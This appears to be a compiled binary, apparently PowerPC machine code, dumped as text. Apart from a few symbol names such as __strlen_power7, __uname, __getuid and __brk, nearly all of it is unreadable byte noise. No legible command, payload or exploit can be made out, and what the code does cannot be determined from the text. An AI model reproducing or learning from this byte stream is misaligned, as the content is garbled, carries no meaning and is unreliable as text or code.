K̋;f|3x;KK`KLqA`+@X/(@P0p8@@"<8)y&d}6|0./n@*08@@$8)y&d}6|0./i@*08@@$8)y&d}6|0./l@*\08@@ 8/);@*80@A880K;`-K0AK~x;KA`@8q!?ؓi;A4?}|P|tHAK}`,#A}?,;9)})?(9 ?K```B-8888/A9 1| } &U)i)D|&KA 4/A08@@)8:89??q!;.;?})AHA9=/}=@PP0H@@`9*:0?})@V>~x:K`/@'@A'@d/?ؓ;A4?}|P|tHAK|i`,#A}?,9)})?(9 ?~x;KT88~cxH `/AH:sA8?;i?y7d}#H@?y$$K{`?|syA-i?~sy)?K```B~xK`/|vx@6`9T_(`;9M K\~xK`/|vx@-?9T_(;9M K(;f|3x;K܈q?/A @0?9)?gKp`9@ `:@9- IKp9 ;f|3x9?K(j-{4W{~A 08@@%88/;@h;.=KX@$q!?/A@?I9)?_}ZSx/A,8`dKU`Ix/i@q _(A+;:@K```B`_(`9M */;@:@K_(;K;K;+@<</A0/AN.H@@9*. >:9~@?_V>H@@/A8PPH`,#A?}I} B9J_K`i9_h?p};Kx. ?__;@0;9??; ?~xCx ?H`?9@I|d}%KxxHe`/|txA&@~x: ~cxK`91H}18c~s@|P}4*A~x9);Zy)})}AIj:p~xKA(~xxKuA(9 +:{Z #? ?@$K\``B/@X:x@@4``B}sxK`@@P;}~K|@|px@pV>}sx9KI`K```B/@h:~Px@@4``B}sxK `@@~RP:R}~֒K |pxK``B@|px@V>}sx9K`K```B|pxK/@~x```B@80_~x|~xV>P@At9 /~ݳx@ ;/ANP@@ d9H9N/@~x}{x_}sx```B|+x; Kh`BK/@~x``BuxA0xK(?~x}{x_}sx8͐ &K}sxK`/|px@:_/}ESxA /@V>Ax9J_K:z`KKX|;xK`;K?9 ;:@9M KԴ~xK`/|vx@?_9- )K@,?I9)?_}ISx/@_(;KT@_*?9*??/@X_(;K$/AX08@@"8;q!.&|簮A|`B@ ;{Aw}#HAH9=/}=@ DP0H@@ 9*0?;})@@V>~x;K`@A!@ \q!?Ț;A0?}|PHAKp-`,#A}?,x;~]x9)})?(9 ?KΤ~xK)`/xi@d>9 KX/A8PPH`,#A(_} |29KX/Aל8CZ8PH`,#A!?||28iѮK\~ճx? ~x@@/})P|8PAV>~x;K%`? ;w~x@;I@0~xK`@@? }7HP9)J{JK`?9 ;:@9M K|~xK`/|vx@!``8 'Kq@ `@?9)?gKڬ_(;K`9@`:@9- IKѠ?8A9'?Ah08@@8iTd>pxd}'H./a@/@;.)?8Al8AT08@@ 8;V>pxd|8./n@0A8`BKhA /0;@e: AU0U(~-??;.>: ~xx ~4x:`}1Kx/A z 9*+ Al?V>8A9':?/AL/A$0PP@@9IP/;@ ;K/A('A-xA :z`,;^}GSxAXx/@/xA,?_P@A 9I_/@@~x;`K0P@^8/A}8&|3x?H<9IPiV:;~@6/AL/A0PP@A~xK`/@7?~ƳxF|vx}8 KA8At9':?KT/AOpz}*H.U)>@?8A$h9'~x?~xGK8888p!xp|+xKߔ!_88!9 8pAxp|3xKKxK,?+A?8?xH8|:Kռ?+A?8?xH8|:'?KAAx/A$)/@$x/ADWxx?_P@A9I_/@^x~x@~xK ~Ƴx|vxA|0Q@$>\Px@t|H}PI@@\9)}\HP0B@@I}F@8I9)/A#/A#}6KxH@`B9*0jV:;~@#V/A"l/A"0P@@A~xK`/@7~ɳx|vxK`B}sxK`/|px@#?}{x}sx_|vx8 'K~x}{x_}sx/@0?9 ;:@9M K_/@}sxK``B~xK=`-|vx@8?8 'KѰ~xK`/|vx@0``8 'KD/@;98{ xJH9IPi;@A40PP@A~xK`/@`|vx`~]x8 'K80@@_(;Kq _(AX;:@Kq _(AP:@K8888p!xp|3xKH?9 ;:@9M KȐ/@X;KL`_(`9M */;@\:@KTs @L/@ ;A 08@@@8;;K >/@Kx~]xKì@ ?9)?gKPz~xKd`,#ACw~xK?_(9M */;@Lj:@Kǀ~xK}`/|vx@?|x~4x8 '/Aq@0A/Ap|8P/@d_(;K ``B;@e: K/A@8HPHw`,#A4?}I|*9J_|K@ 8?I9)?_}ISx/@\_(;Kp```BKU?/@ @p?9)?~]xK/A88PHvM`,#Ad80||*8|Kֈ/A8{HPHu`,#A?}I} B9J_|ٮK_x?zwx}CPAT9]/;}]@ 0PP@@9IPzx;wx}CP@}8P~xHA ;xKa`,#A p}#zxKt`_(`9M */;@Ĩ:@KĠ@ ?I9)?_}ISx/@4_(;Kp```B@ ?I9)?_}ISx/@_(;K4HW1`/@8(A,/A P?/@8A$9'?K|;xK?9T_(;9M K`9T_(`;9M K~xKuA`/|vx@<``8 '@/A8?}|HP?|tHAK[`,#A}?,9@~]x_9)})?(K,q _(A ;:@KPq _(A ;:@K8ixK~xKtu`-|vx@T_(Kפ~xKtU`/|vx@x?_(/l9M J@d9 ;HK~xKt`/|vx@]_(/i@,p?;8 G/lGAKx`B|vxxK\q _(@@?8;| 9 ?}HK0@0?9)?;~]xK?9 ;:@9M K88KKH_(;K?8~8PHm`,#Al?/}I|29J_~A`:K~xKr`-|vx@_(K?8A89 0'08@@\8;/@;;@e: AV>op;@exd: |0./x@8A$8-Una}A08@@8;/@;;@p: K|```BKL+_}GSxA8xH8|:'?K?9- );:K~xKqi`-|vx@ _(K?_+}GSxA8xH8|:gKT+_}GSxA8xH8|:'?K$;K+_}(Kx}ISxA9(y)H9)}*J)?Kh;{zdxKWm`|iyA@:})K+_}GSxA8xH8|:Kp;:@K|vxK~xKpM`-|vx@_(KT+_}GSxA8xH8|:'?Kt?K88888p!xp|3xKL?_+}GSxA8xH8|:gK?|x~4x8 'K|x~4xK8K,~x}{x_}sx? @@D/|P|(PAV>~x;K`? ;x@;I@0~xK`@@? }>HP9)JJKq _(A;:@Kd~xKn`-|vx@_(;K@+_}GSxA8xH8|:'?KDŽ~Գx_(Kt_(;K`9T_(`;9M K܁?~Ƴx|vx}8 K?y$$KT`?|wyAd?~y)?K,;K?K?_+}GSxA8xH8|:KP?_+}GSxA8xH8|:'K(~xKmq`-|vx@ _(K?K|?_+}GSxA8xH8|:K?_+}GSxA8xH8|:K|KՔ8K5K͸/@(0A /Apxd}'H./n@/@;.=?8A(8A 08@@8iTd>pxd}'H./i@/@;.=?8A|8A`08@@8iTd>pxd}'H./t@/@;.)?8A8At08@@D8;V>pxd|8./yA_(;K<~xKi`/@_(;K8KK,8KKʔ_(;K8KK_(;K~xKi)`-|vx@ _(;K_(;KK;KK)`8:s|KO`|tyA~K(_(;K\_(;KP~xKh`/@Ʉ_(;K0;K(~xKhq`-|vx@,?x8͐ &KDK$~xKh5`/|vx@?9- )K?_+}GSxA8xH8|:'KʔK:KP_(;Kt;Kl8KKɨ_(;KP~xKg`-|vx@ _(;K,_(;K ~xKgi`-|vx@ _(KPi?89)?KM`|syA ?i~sKK:w~xKM`|zyA\WZK:@K;K_(;Kx8:K K~CxK̀_(;KT:KDq _(@ ?8;|I9 ?}J K;hKd_(;K~xKfI`/@$_(;K8KyKT_(;K_(;K8KUK0@_(;K_(;K_(;K8KK_(;Kh~xKe`/@$_(;KH_(;K<8KK~xKey`-|vxA;K_(;K_(;K9?~4??V~:p: j:/ A8q0xc H}`_|ix5}$}ESxH`/A19_}*J9@})I:1?:/ ~19)?@?> b4~޳x.)?9- ?/A/AHHA-~x@x?~:x}P~޳x~5xH<5/A/A$0PP@@`9IPi;5BAH\Ke`+|fxA8{8| P|2x|txт|xK`K9^UJ/@,_W>PA9H_/A/A0PP@@p9IP/;@;K_PAp{}GP.UJ>@_PAH9H:`_;HKx~xKb`/|~x@?|vx8 'K~xKb`/@?)5/AH@A::1/ ~@(|vx-AV>~x;Kx%`Khx|~x@}]Sx/ Ax_80T>@A89 K@@Td>~x;Kw`~x;@A~xKw`K/AK/ AA /AhxK8/@?;/A?_PAd9I_K959Q}IPP})P|uPJK? :/A?_PA(9I_K8KMK|;K8K9KxK8K!Kd?x8 'KDx8K:`;K4?9 :@9M K08`,H`_|ix?})4}ESxU)~i)~H8H!`/@\/Al K`+@D:KP~xK` `-|vx@t?8 'Kh?8 'KX 88jK`K:K@;K|uxK;k}r[x;KDx8K~x~xK٬8KK٠_(;Kxg|8./n@pK8K;K~xK_-`-|vx@?8 'K_(;K808KEKX|vx~4x;-A~x;Kt`K$|vxK܀;K(_(;KLi?89)?KEE`|wyA?~Kư;Kq _(@|?9;}I9 ?}JjK;@p: K?8 'K$8KYK~xK]`-|vx@?8 'K;:@Kxg|8./l@`K9 0xK |x~4xK~ɳx|vxKH~4x|3xK|3xK8;Kּ;:@Kxc|./i@pKX;K9Kq _(@8?9;}I9 ?~K;:@K;:@K8K```c#9)}*#L C9@| } (}@-@/L -8888/A9 1| } &U)i)D|&N 9 !q89C0|+x|#x% AU)rU)d% #9 + @T80```B9)U(>+)A=y)9}(J)})B})N p`P``B? a)? `B9JA*/@? q)A 9 ?9 9,?*+*AP9)8+ ;@9 ?(?*/.AT? `89q)? (/@8*9)U(>+.A`=y)9҄}(J)})B})N  <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<Kl``B? a)? KT? a)? KD? a)? K4? a)? K$? a)? K 9*a _ !`9"9@)/'_@}*_@9*9+782AA(8xxIi}IIN!A(/A!U)&/ A9>+A`xKY`|dyAdx|8KC`8`!M})Ry9@@8!0|N `B; xK`|dy@8`KAyI"QI>9)x+A,?a)?9>+@TK``Br``;͐ HY`/@K```BK`KK````||#x||x!qKv`?q)|~x@T;CA49y) }@)}IPQ@ }-@L,/@L#9)#?/@9 ?``9"9}IP})@PP@@=8A(xxxIi}IIN!A(@t;?q*@8#9)}(#@ | } (}@-@/AH8!x|N /A<;KK1`KL`B-8888/A9 1| } &U)i)D|&K`BK`K?|~xq*@8#9)}(#@ | } (}@-@/AxHН`-8888/A9 1| } &U)i)D|&K```||~x!8/Ap>^@q)|PPA 8xxdxKy`|dyAL|x8H `8!8`|N ``BK1`8K8!8`|N ``a!ad)AP&||xq)|+x|3x|#x@\fAp;MA48y) })} @Q@ |-@L,/@C#Ap9)#?/@|9 Ap?``_9"9}IP})@PP@@:8A(xexxIi}IIN!A(?||xq)@`Ap|#9)/#A``B@@ x8!cxaN `B/A?q)@@;#9)/#AT|K``B;`8!cxaN ```B9 9@#| } (}@-@/@0-8888/A9 1| } &U)i)D|&K/x@HKAp|KK`KP`B|Ky`|Kԁ?|~xq*@8#9)}(#@ | } (}@-@/A xH}`|ApK-8888/A9 1| } &U)i)D|&K```}&!|yyAa葁!AA/A&|+x|#xq*|3xAq) @H|9/A</@$9 x8`x<K `/yAQ@t:;`z@H[<y9ZP@@4y=P@@}]SxxKU`,#Axyxx|cKb]`>@xK5`/A[xPxxxKUA(.#A |}P;};PAD`9@K`;@|9- I>q)@<~#9)}*#@$C9@| } (}@-@/A8!Cx!A} aN `Bf;툠A}ISx9y) }@)}IPQ@ }-@L,/@0>~Cq( 9JCA;@K|K;@8!Cx!A} aN ``BCq) 9JCA;@K99@}IѮ>|KxK3`/A@PKp```B>;@|KH```B>;@|K$``B|K`|K`B-8888/A9 1| } &U)i)D|&K`9@`;@9- IK>|xq*@8~#9)}(#@ | } (}@-@/AxHǵ`-8888/A9 1| } &U)i)D|&K `#|;xAa/!A||x|#x|+x|3xAX/xxAX|!HT@AxxPKA(xx|yycx@K^1`</{ATDxQxAx;K4`/~A A/{;{@``B|xP!|8!AaN ``B/PPA2;9xcxxK]Y`<|xK/@${;{Kt9 #K8`Kx/AX|dxxKH`KD `B}&Aa!}Cx||x|#x|+x|3x.(!1|;xA 9 (</Ad/yxA|x:H\``B@AxxPKA(xx|uycx@K\1`</{ATDxQxAx;K2`/~AA/{;{@``B|yPx|8!Ё!} AaN ``B/P>PA3:9xcx%xK[I`|yK|9 <K|yPAhK`/@{;{KH8`K\/A8|dxxKF`K$ `|!/ ||x|+x!1-!9 A/0A@8axT>8|yxK^}`/@`A;B`a;b;zPHP`B>8A(8$xxIi}IIN!A(+@l8/|@}:PH@AKy`>8A(8$xxIi}IIN!A(+A``BAa!M})Ry9@x@8!!|N ```B?";9AK`BAa/@``9"9}IP})@PP@@X>8A(x$xxIi}IIN!A(KD``B?";9AKT`B;KKI`KAaK`|A+ ||x!-!9 A+0At|;A||/@`!;"`a;b;yPHT``B>8A(8DxxIi}IIN!A(+@l8/|@}9PH@AK `>8A(8DxxIi}IIN!A(+A``B!a!M})Ry9@x@8!A|N ```B?B;ZAK`B!a/@``9"9}IP})@PP@@X>8A(xDxxIi}IIN!A(KD``B?B;ZAKP`B;KK`K!aKޅ`#!/|yxPf@}(PP|+x}taA|#x!At|+xA$}*Kx|+xH````B @@}CxJ/@(PX@A/^XP{\d|cA/@fHx ````BI}HPPI)/@8`8!!AaN ```B|;^d{ZdpCxK`|vyA/;{dA,x|"xH{}`;Vi@K `[9JP @p}P}t/H|@K0`B|{d||"PH{E`;{di@|P|c|tHz`[9 @}P}tK``B|{dx|Hz`[9 @}P}tK8/A<HKl||"xK`;|P|tKm`K|}z[xxK 8`p|K ``B#`C/j|c P|ctM `BIP@}CSx)/@N `B#C @UJ,PCP@  N ```B#C PaJ@CP  @N ```B#vC!a|xj0/A q(A,/08@da)8!?tN `B|xK=`?v_/x|08AU)v8!?tN ``BA@a!Q|zxW|#x})@@/A9>cx?~8!AaN `B/A|!xPt{${xK`|yyAXPx{dxxHwi`:iK`|?!xHK<```BC* A|?@/Ax88z`K/@P|@H`B@/A0xP_c@_PK|8`K`,#AD9Cx@_P|_H}^SxK``B9J|#xZKP!x8`xc |K8```B||x!h0/A?tq)Ad?`/A9@I)/@?H/Ah@KA`9 ?HxKM`8!|N K`9 (8(0K``B|`9B`9"|x}*HP!}JPP@@> A(xIi}IIN!A(/A<8!?I|j9  N ```B8!8`xc |N KA`Kt``B||x|#x!q#/Ax``9"9}IP})@PP@@>A(xIi}IIN!A(8!xc |N ``B8H```9"9}IP})@PP@AKQ`Kx``B#/A/!|xA_?qH@ (@AHqH@|p`/A88`K/@``9"9}IP})@PP@@>(A(xIi}IIN!A(p8!|xc N ``B 8@@T|)08x)A(Ii}IIN!A(/A_?| qG@(@0@ }Cx(@UJf ( _}J@8!h9HIN `B|8H`/@ A(xIi}IIN!A(p8!|xc N `B 8@@T|)08x)A(Ii}IIN!A(/A_?| qG@(@0@ }Cx(@UJf ( _}J@8!hN ```B|8H`/@;/Ah``~9"9}IP})@PP@@x;A(DxxIi}IIN!A(/A;K ``B8xH```~9"9}IP})@PP@AK`;A(DxxIi}IIN!A(/@`BPApxax|8!N ExxKr`{HdP}B{ K```B8!8`N `B|Aa!|x|+x|#x!Q|+x;c;`(}DHQ@}Jt@}YSx@ JxYx/A/@d9*8y) 9Dy%d|*H``````B9JP@@9)YPy)d|JJ/A?/A/A,_} CxqG@d(@AqHA8P @UJ,_I@@P|;x I@AP?`/AdxxKI/@```?9"9}IP})@PP@@9 A(xIi}IIN!A(xc /@|``BP8!x!Aa|N ```BgK``B8xH`/@?/@8xHe`_} CxqGA 0@@D(08x)A(Ii}IIN!A(/A(_? qHA H UJf(_}JK,``Bx%xKn`YP{9d(|~x)(K_H/ALi@K`?`9)@)P)H`?9"}IP})@PP@A0K`K$``B(@ 0 @@|;xK4`BhK```B(0/L #|x!qq)@|(0)hA(Ii}IIN!A(/A8!|N ?vxh0;(;,/A q*A8|08a)x8!?tN ``BK`?v|K`B#vx;(;,K```B||x8` !qK`|}yA?v_j0?;ހ/A q(A@88!U)v0?t8`|N ```BK`?v_K```B8!8`|N ``B#|x!I @@@L|)08)A(Ii}IIN!A(/Ah?|I q@@0P@@IUfII(I8`8!N HK|K```B||x!C#i@qHA0 UJ,P_ @Pii}CxKM`8!?9@I@IP|IHN C||x!q *H@@(A|``99"}IP})@PP@@p>0A(xxIi}IIN!A(|xc /A?U)4?8!N 9|#x KKa`K``BC|x! *H@@49(h*/A?U)4?8!N `B|``9p9"}IP})@PP@@D>0A(8xIi}IIN!A(p|xc Kt`BK`K``Bxd}B@@@8(9H/ @ H0```B*/ AP@A|exc N |j@P|ct8cxc N $|~xD!|#xq(@l q)@0*8!} @P?`}t>`N *8!} @P?`}t>`N `B 8@@T|*08x)A(Ii}IIN!A(?_/A\ |q'@<0@@@ U)f ( ?})K`BHK |K``B#/AXI qIH@$(c})PP})t})|iP|cN (c})PP})t})|iP|cN 8`N ```B@'/T}JAL/IA,@iT,PiPI@|+xyd8`} B N /I@P`iyd@IP|+x} Bi@8` N ``B8`N ```B#`/A 9 #`#H/M |!#I@qA0U,P@PII|;x|x}CSxKܙ`8!?9@I@IP|IHN ```#HiZ/@$IJ)LPL }CSxN ``B8`N ```B8`N ```B#HiNN ``B|a|x|;x}\Sx!1Hma8`?X=Pp(/A -JxxxKE`A(9@x9 x9888P~| ^N!A(?PA/[<At@h/AP/AH8`!M})Ry9@@P8!a|N ``B8`K``B/@8`KKa````B||;x|x!a-!x9 =(/A -JxxK`A(9 x9@9p8888~| ^N!A(?/<Al@`/AH/A@8`!xM})Ry9@@H8!|N `B8`K``B/@8`KK!````B|a|x|;x}\Sx!1ma8`?=(/A -JxxxK`A(9@x9 x9888~| ^N!A(?A/[<At@h/AP/AH8`!M})Ry9@@P8!a|N ``B8`K``B/@8`KK````B|axd|}x|+x!1cH|? xA-?9 9'(y)})}AIj;p/9!p|:#PXA -JxxxK%`A(9@x9 8Pcx988~| ^N!A(?M})Ry9@||P|c@(8?a|N K```B/!A|~x-!9 #A@/@ /@PA }JBy9}#Kx@d8!N ``B/@9 >K```B|;h_8ax?X_ ^*`Kc`!/@/@x88K55`>x=bK|K`<<P}8@@@}FSx8|PP}G2P@A;@88;}G2P@@0}}>P}8@@@X}FSx8]PP}G2P@A;8(@@ |#x|+x9@9!p}I``B B/;A,9jx(8y)$}'JI9JBx|xKX9A(/@ ?P8P88}8!}H0``B/A@@x|J80@A}29A}(خy)$}*J)/@(@x@|+x@}I2@L}\P|H8@D9I|P|@@ H``B}^H|H8@9)B(@}#2}J|gx@}P@9]x@}]P}I@ H ``B}^H}H@@9)B}%:}\JA}ADphAL0A0}IH`Bq(A, 0A9J9)B8`N ``BTD.T>}#x+|x|d#xx|c#x@< <``x|gBxdx`d}"`}8x}(9@L9 y9} H `B |gBx}"}8x}(9@9)9JB/8`M }#Kx)0M }IH``B#0M 8cBK ``B}#KxN ```````|,xd$Tf88|46}+8}*/@h| A0 }/@PH``````Bd}}i}(Sx/A/*8@ }*Kx8}@t| Px|eN @__strlen_power7``|,($ @(xj +A89eya08e (|+|3}G[y@88|8|x8|P| P8 C }f0 KQ($@Ap?A\|%0!88@Xp?A@|%0!88@/@|/AtxK`}A(x>~})^N!A(|!M})Ry9@@P8!N 8`xc K`B9 !9@A9!!=88|;y]*(/A -JxxK`}A(x9@9 9888| _N!A(,#A49#+@(8`xc |K``Ba||K``B="9)$HAxK`(K<=";A(K0|K^````||+y!@ `8¯|#x|dx8`H)`8!p|N `!||y|#x-!9 A/=@yJ9 A!A/A/@08`!M})Ry9@@L8!N `B|a`9\`9-A)~(/A*@Ax[*(/A -JxxK`{A(9 x9@9888}| ]N!A(Ti/A/A/AD/@!A@</@4!8`)/@Pa|K`Ba|PK`B/=@yJ9 ;A!@t/`8¯@l|?a;8;&K``B`9@Ta`8`|9- IK/A;K```B="9)$HA<xxK`~(xK4`Ba|K=";iA(K |aKZ`<</}?J!A]*(/A -Jx!(/@xK`}A(9 9@9x8888~| ^N!A(Ti/A9#+@`B/@Xa|P!M})Ry9@@l8!|N 9!(x!K`}A(89 9@9x888~| ^N!A(Ti/Al9#+AX`9@T`8`9- IKL``BA9 *K(```B`(`;9-)(>/}?J!@P="9)$HALxK`(K,`B`8K<<;~0H0``B}^@*B/})2 >@\8@9 0A~dxH`909 |gy@}^@*B/})2 >A9@| } (}@-@/Ah8!xAa|N ```B@; ;\9@| } (}@-@/@-x888/8A9 1| } &U)i)D|&8!xAa|N 9- ;)/@K\`BxKFM`K\`|9 |x;9!y) }@)}IPQ@ }-@L,/@l88K`9 9@? ???(| } (}@-@/A88!|N ```BxKE}`K-x888/8A9 1| } &U)i)D|&8!|N -8A|#x!a/A9 1| } &U)i)D|&t |zx@/Aax@@|```B;xK`x88K`@xAax|8!CxAN `B`8!`;@9- iCxAN ``BaxK```||dx|x8`!8x-!9 K`/Ax!U)&/@@x8xK-`/APTi/At|ex8xx8K`!M})Ry9@@d8! |N 8`K``B`9@`8`9- IK`B`9@`8`9- IKKE`,-A ,A9`1| `B8zDL |!Kr`8!p|N @P__uname`,-A ,A9`1| `B8DN @,__getuid``,-A ,A9`1| `B81DN @, __geteuid``,-A ,A9`1| `B8/DN @,__getgid``,-A ,A9`1| `B82DN @, __getegid``Tc/A(`9@`8`9- IN ``B-|#x8k|+x/@,D|&t |ix@8|cN ```B9 1| } &U)i)K``B`8``9M *N ```Tc/A(`9@`8`9- IN ``B-|#x8#|+x|3x/|;x@$D|&t |ix@0|cN `B9 1| } &U)i)K``B`8``9M *N ```p@!a@`= @8a)@}*(8HAH-/@L-8/@D|&t @|8!xN `B-/A|x|#x|}x|+xK@ `xxx8-||xx/A9 1| } &U)i)D|&t @x|xK@`x8!|N ``B9 1| } &U)i)K``B`;`9- iK`;`9- iK|`Bp@H@h= @8a)@}*(8HAP-8/A9 1| } &U)i)D|&t @,|i}#KxN ```BLK``B`9 `9M j}#KxN ``|!A8|-!9 HU`!M})Ry9@@8!|c4Tc~|N K@````!A-=@@,|#x/aDt86 98|A9 1| } &U)i)D|&t @|~@p|!|a888AБ?! ?8_4KqA(9 # |!M})Ry9@x@48!N ``B`;`9- iK|K>````a,-A ,A 9`1| 8-D袀8e|&@8`L 8` |!Kk`8!p|N @h__brk}&``9-)!a?/A |xi Apax||x;.);`;C@``B@`{ /@T<_|jHQ@})/A/AHx;K`8c}?/@8`H4`BxxK`/@=J;{$|}*Apax|8!} N `B<_|jHQA4}#S}(}8|ct8cy)0yC0|cHPK<```B})/@$<_|jHQ@})/@<_|jHQ@})/@< _ |jHQ@})/@<(_(|jHQ@d})/@<0_0|jHQ@H})/@<8_8|jHQ@,})/@|8@CxKʅ`Kh``B8`K```|#yM * |iL0H@L 9)y)} H./M * |iL0})88y)}*J})@./M |8x}J"}*H.|ixc N }&a|||x|#xKxA|#xK `/AX/A KQ-`xKQ!`CxKQ`/A9 >K6 `fxxx8HZ`|!Aa!1|#x<|+x|3x|yx|? xK}`/|vxA`9`9 9M ;] = @|J~óxK`=,#@}#J+?=@/?@$=BJDP@0]/@=B9JCȀQ9JQ8A8`|c@|]/@]8UJ+@~óx;m Ke`9 :;8?~óx|!AaN ```B8@`J8`P@LKL``B]/@\9HUJ>+Ad+Al]>/8@@(8~"||"H@A}7H@@(~x:H``B;8}7H@@>/@ +@0+@94})9@]}8"P@A"="|8iD,<8 8(AP`B9 /Ah<9X}$J}B})08})B})08P@ApJ P<(@<CP@9 /@```B/A,</@`9"8I/A<U)@.}):U)@.})BP@@K98A8y)~óx})}AIjK`;pxx~óxK}`A;m ={9DH``B=9E``B%x~ijx9 88KM``B9<A8U)v~óx})}AIjKe`:px~x~óxK`@t@8Kģ@8K`B/@+@p```B=@E=aJLFP@= /@t=8U)+Ax=/@l= /A\=8`9EK ``B;m {/@(=9DK`B=BJD @AKp=9DKĉ=/AT=8`9E0K`B=9FK`Bw @=9F(K```B=9FPKh=/A+A=8`9EhKD=/@="];9)Cȁ Q9)Q@A 8`|cAd=8`9EK] @@؉])8`H@K9 <K =+@=8`9EK=9EK=8`9DK }&!|pxAa!Aa!&/|? xA?@}VSx=B`'"`}Cx`TJ}):9M })"x 9)_ 9@y)_(=B})9JF_8}Ij`?;b|+x|#x|xx:@;';p```B;q)@8? x::.)KIA(="9)F?|nx^zdz&~@@4(/A>}sx}Iz|x*KA(ExxKA(;q)~}P@$~Ƴx%x~xxK4(/|gx@-A9 :4(A(="9)!P)/@:AL``B~cx|;xK< `_/jA~exxK`8?~xpx|!} } Aa!AaN ``B|;x8p8`0K`0/@?q)@$|;xKM`? 9@I^`B::@9AX/A? )/A / @ ~Rx~R/@/AX:K``Bi)-})4U)~i)}5x~@l:K``B?/AX)0`9B)}*H*)4u)A8::K``BxH`K```BI9@~}8p}SIx8`K`/@?U)&/@A(909@y)d:}}IB|@*KA(@~A A9 #/}{x~x:`A}sxH`^;9@A< /AIPA8HP_X?`?(/A)/@,="9)!@))/?(@="9)F?(HA;(A9 :*Kd?@iKC`K~x:K5`K<```B|!aAa|#x!<|+x|3x|;x|xx|? xK`/|vxA`9`9 9M ;] =8` @|~óxK`,#@|c"+?}@/?@="])DH@=/@="]9)Cȁ Q9)Q@A9 }7@]/@ā]8UJ+@~óx;m K`9 :;8?~óxa|!AaN ```B] @@\])H@L9 KH``B]/@X9HUJ>+A+A]>/8@@(8~"}<"@A}5H@@$~x:H``B;8}5H@@>/@ +@~0+@93})9@]}7"P@A"="|8D,<8 90AP`B9 /Ah<|9W}%J|h})88})})88P@AJ~P<0@<DP@9 /@```B/A<</@`9"8I/A<U)@.}):U)@.})BP@@K97A8y)~óx})}AIjKe`;p~xx~óxK`A;m =9DH``B=9E``B/@x~ijx~x9 88K```B9<A8U)v~óx})}AIjK`:px~x~óxKM`@d@8K@8K`BxpK`Ax9#8y)})}AIj8apK1`|ixx}8KxK>`pK(```B]/@+@```B=@E=aJLFP@ĉ= /@=8U)+A=/@= /Ap=:9EK``B;m /@<=9DKx`B=")D PATKp```B}K =9DK@=/AP=:9E0K$=9FK`Bw @=9F(K```B=9FPK=/A+A=:9EhKĉ=/@="];9)Cȁ Q9)Q@A 9 }7Ad=:9EK|] @@؉])H@9 K9 <K=+@=:9EK,=9EK =:9DK }&|Aapx!Aa!|#x!|{x8`|+x|3x|;x}Cx}7Kx|? xp_hK `x8|ux8`K`/A $?p`9B)H*/@H<``B/A(>4u)@>H@>H@x;K `~óx;[@K;9`>8{i .)/A \@P`Bx /@@;D|jHQ@})/A/A0/A xAcxK%`/@8?xpx|!} Aa!AaN Vz})?0@ `9"?`)q)@@ $5/A +9 ?P@pxx~xdx~óxHE`|~yA :@Z (8^ȡZ>_X}\"@@A:~")0?H}PP@9)U)v})}Ij:!@ }0H@A/A L?^. ?8@ h*9.`)09B x8jx}1J8I~]P~DxK`/~`A/P|c~h@>4~=xe)>4sA>]})R>p>/A}=H@@p`9^})R~sR~jx8|d|J|88@@|;xP@@(sA (|PP}#Kx8_@KA`_@P@A;0.0}1JH@A>AH/H}CxA L}I:/^A})8*8@/A>`?*(K=>K`B=(/A>0=0>8/]A 9)})P8>@>4U) ^ =@@P(@@8H)`Ѐ8@~P8KL``B=>`8=(>hK(`B=K;D|jHQA``B}(S}'|C8}t9y#F0yJF0|jPK(```B9 9@5_PK`K`B*=H@@~ | Px8x|iK`/@h=9HH.0Q8|}R}1J| PK`/@ =9HH] (@@A8@=8}*J}'HP|B0@A}(:}*HP>K``B9<A8U)vx})}AIjKޥ`:x~xxK-`@ D>8K/A>`/AI}J:I>X/AI}J:I>h/AI}J:I>p/AI}J:I>x/AI}J:I>/AI}J:I>/AI}J:I>/AI|:>/A)/@ 4>x/A>)/@ ^0/A0* q(>A^q(A^q)A^>/A,_`) J>qJ@@\q)A >>>(/A 9 >>q)@@>/A0^})R>`9"h))Hxq)@t> /A^})R> xK`/@/@́>q) A`9"(`9")/@pxH`K``B} P+A})PKp```BcxKE`|zx8cK$`;Z||yAExdx8|K}`|K =9H!_H*}ASx?P/A@0~xx~ƳxexxK`=`9G9- ;)?0:K``B=9H8KU(<}pX@Ah} P+ A|)}&J}I*KT=9G``9- )?0KT4U)/A8<<4~RPP}hKl@8xK `/Ahx~xKm`>4e)~>4K} P+ A)}&J}I*K=9FK|="=hI( `9"aJH( )A(Ii}IIN!A(|iy?0AH=9GK/@>`h}#Kx| PK `~8#/@ K,`>4=9Gu)A@~8K+`8K(```B^8/A ~8^h)/JZJA@{I ;.);@@(x /@:}HHQ@@})S/A$}CSx/A/AxK:}HHQ@})S/@:}HHQ@})S/@:}HHQ@})S/@:  }HHQ@})S/@t:((}HHQ@})S/@X:00}HHQ@x})S/@<:88}HHQ@\})S/@ 8@xK`K`BCxK}`K9@}$P9AK}*C}'|S8}Jt9Jy)V0y V0}JHPK9^$PA(^9 8d>x$8Kw`>9^IKCxK`||x8cK`;|}yAXxDx8}K`}K=9F(K\CxKE`8cK`/@`DxK <<|+x|#x|yx:|+x;;$;@:JpDH `B^x;I/A+$;@ +{A$+Ox;x8@<}&Kx8JP;H `BA ;G.@A/A+}@H;88=B9J!PJ/@/@ ;+P}CxA$/@/A +/@/A`9"9$@A|xKvu`}=ЉI||~x/@/@9 8!>cx!AaN ```B/@L=B9J!PJ/@X;9$@@T+Ax;KH``B8;+P|;x@<;8JXG;} @.@h@/@`9"K``B}&Kx/A +/@<|3x8KL 9)+O@8K``B/8PAX+}@H;8KT+L;@4=;9JhH `BAP;H.8A/@/A +/@/A~xK```B/@~xK||PcxK/@~x|K}&Kx}F/@h@d/A\4XW4W~K4~xK|3x8+PA\/A$+/A+L8AK +/@K|Kt+L;8A+};AK``B;K ```B}&A|px!Aa!a`!9B`9"?B;Z'|txiFx8|? xH`="i'8`(K`="/i(AL="||x)'= a)y){7de);wOa){H{{B{K`/|}x|A`:z;0>9 3:J9@9 xC# {(?;C.9:~x;<;~A~x88}(K~`@AhS > 9//9**] JA<<+A9'}GSx}*Kx(/@yC$Kq`="/|txi(A:p>>b; :J: :@:sNx:/~x~óxH5`||yA</Al8$K`,#@xKhA`||yAKY`,#AD+AD;} @xxKA(/@/A84HA0)~xB@ ```B* A 